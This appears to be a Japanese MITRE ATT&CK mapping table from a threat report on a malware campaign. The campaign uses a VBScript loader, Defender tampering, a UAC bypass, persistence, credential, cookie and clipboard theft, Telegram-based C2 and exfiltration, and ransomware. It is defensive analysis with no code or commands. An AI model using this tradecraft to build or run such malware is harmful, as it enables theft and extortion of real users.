実行 T1059.005 コマンドおよびスクリプトインタプリタ: VBScript 難読化したVBScriptをオーケストレーションレイヤーおよびローダーとして使用する。
防御の回避 T1562.001 防御の妨害:ツールの無効化または改ざん PowerShellとレジストリポリシーを介してMicrosoft Defenderの機能を体系的に無効化する。
防御の回避      T1562.004 防御の妨害:システムファイアウォール / AVの無効化または改ざん Defendnotを悪用し、偽のアンチウイルス製品を登録してDefenderを無効化する。
防御の回避 T1027 ファイルまたは情報の
難読化 / 暗号化
Script Encoder Plus、Base64、RC4を使用してペイロードロジックを隠蔽する。
防御の回避 T1218     署名付きバイナリ
プロキシ実行
Microsoftが署名した信頼できるプロセス(Taskmgr.exe)にDefendnotを注入する。
権限の昇格 T1548.002 昇格制御メカニズムの
悪用:UACのバイパス
「runas」を指定してShellExecuteを繰り返し実行し、UAC昇格を強制する。
永続性 T1547.001 ブートまたはログオンの自動実行:
レジストリ実行キー
HKCU\Software\Microsoft\Windows\CurrentVersion\Runを使用して自動的に永続化を行う。
永続性 T1547.001 ブートまたはログオンの自動実行:
Startupフォルダ
ユーザーのStartupディレクトリにペイロードをコピーする。
探索 T1082 システム情報の探索 OS、ハードウェア、ドメイン、環境の詳細情報を収集する。
探索 T1057 プロセスの探索 動作中のプロセスを列挙して実行を制御し、重複を避ける。
収集 T1113 画面キャプチャ TelegramWorker.scrを介して定期的にスクリーンショットを取得する。
収集 T1056.001 入力データの取得:
クリップボードデータ
クリップボードを監視し、シードフレーズや暗号通貨のアドレスを入手する。
認証情報へのアクセス T1555 パスワードストアの認証情報 DPAPIを使ってブラウザの認証情報やセッションデータを入手する。
認証情報へのアクセス T1539
 
 WebセッションCookieの窃取 ブラウザのCookieや有効なセッショントークンを窃取する。
 
認証情報へのアクセス T1098 アカウントの改ざん 窃取したtdataのアーティファクトを使用してTelegram Desktopのセッションを乗っ取る。
コマンド&
コントロール
T1102.002 Webサービス:外部Webサービス C2通信およびデータ流出にTelegram Bot APIを使用する。
コマンド&
コントロール
T1071.001 アプリケーション層プロトコル:
Webプロトコル
HTTPS経由でTelegramおよびファイルホスティングサービスと通信する。
流出 T1041 C2チャネル経由の流出 Telegram Bot APIを介して直接データを送信する。
流出 T1567.002 Webサービス経由の流出 大規模なデータセットにはサードパーティのファイルホスティングサービス(GoFileなど)を利用する。
影響 T1486 データ暗号化による影響 Hakuna Matataから派生したランサムウェアがユーザーファイルを暗号化する。
影響 T1490 システムリカバリの妨害 バックアップとシャドウコピーを削除し、Windows回復環境を無効化する。
影響 T1489 サービスの停止 暗号化の前にサービスとプロセスを停止させる。
影響 T1491.001 改ざん:内部 壁紙を変更し、身代金に関するメッセージを表示する。
影響 T1499 エンドポイントの
サービス拒否
WinLockerを展開し、ファイル関連付けをハイジャックする。
影響 T1565.001 保存データの改ざん           クリップボードを乗っ取り、暗号通貨ウォレットのアドレスを変更する。

■関連サイト